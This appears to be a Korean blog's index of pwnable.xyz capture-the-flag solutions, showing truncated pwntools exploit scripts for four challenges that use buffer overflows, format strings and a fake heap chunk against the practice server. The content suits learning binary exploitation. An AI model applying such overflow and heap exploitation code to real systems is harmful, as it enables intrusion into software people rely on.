security/포너블 - pwnable.xyz 18

pwnable.xyz - iape

from pwn import * p = remote("svc.pwnable.xyz", 30014) # p = process("./challenge") # 0x408 byte 채워야하므로 시간절약 위해 맨처음에 최대한 읽어놓자 p.sendafter("> ", "1") p.sendafter("data: ", 'A'*127) while True: p.sendafter("> ", "2") tmp = p.recvuntil("chars: ") num = int(tmp[8:-8]) if num>=14: p.send("A"*8) break if num!=0: p.send("\x00") p.sendafter("> ", "3") p.recvuntil('A'*135) win_addr = u64(p.recvline()[:-1..

pwnable.xyz - fspoo

# exploit1 from pwn import * p = remote("svc.pwnable.xyz", 30010) # p = process("./challenge") e = ELF("./challenge") def edit_name(name): p.recvuntil("> ") p.sendline("1") # getchar()에서 버퍼 비우므로 개행문자까지 넘김 p.sendafter("Name: ", name) def prep_msg(): p.recvuntil("> ") p.sendline("2") # getchar()에서 버퍼 비우므로 개행문자까지 넘김 def choose(num): p.recvuntil("> ") p.sendline(str(num)) # 7byte(이모지+공백) + 25byte(us..

pwnable.xyz - TLSv00

from pwn import * p = remote("svc.pwnable.xyz", 30006) # p = process("./challenge") # gdb.attach(p) # pause() # read_int32()에서 입력값의 마지막 바이트 null로 변환하므로 sendline() p.sendlineafter("> ", "3") p.recvline() p.sendafter("instead? ", "y") p.sendafter("comment: ", "minseo") # do_comment 1byte overflow(\x00), real_print_flag()를 가리킨다 p.sendlineafter("> ", "1") p.sendlineafter("len: ", "64") # char key[64..

pwnable.xyz - free spirit

from pwn import * # context.log_level = 'debug' p = remote("svc.pwnable.xyz", 30005) # p = process("./challenge") # pwndbg 터미널 열리면 거기서 bp 세팅하고 c 입력 후 원래 터미널에서 아무키나 입력 (동적분석!!!!) # 그러면 파이썬 코드 실행되고 bp에서 멈출 것. free() 근처에서 분석하자 # gdb.attach(p) # pause() win = 0x400a3e # 위치 안변하고, write 가능한 바이너리의 .data영역 (0x601000~0x602000)에 fake_chunk 만들자 # 0x601010, 0x601020 에는 stdin,stdout 관련 데이터 들어있으므로 0x601030 부터..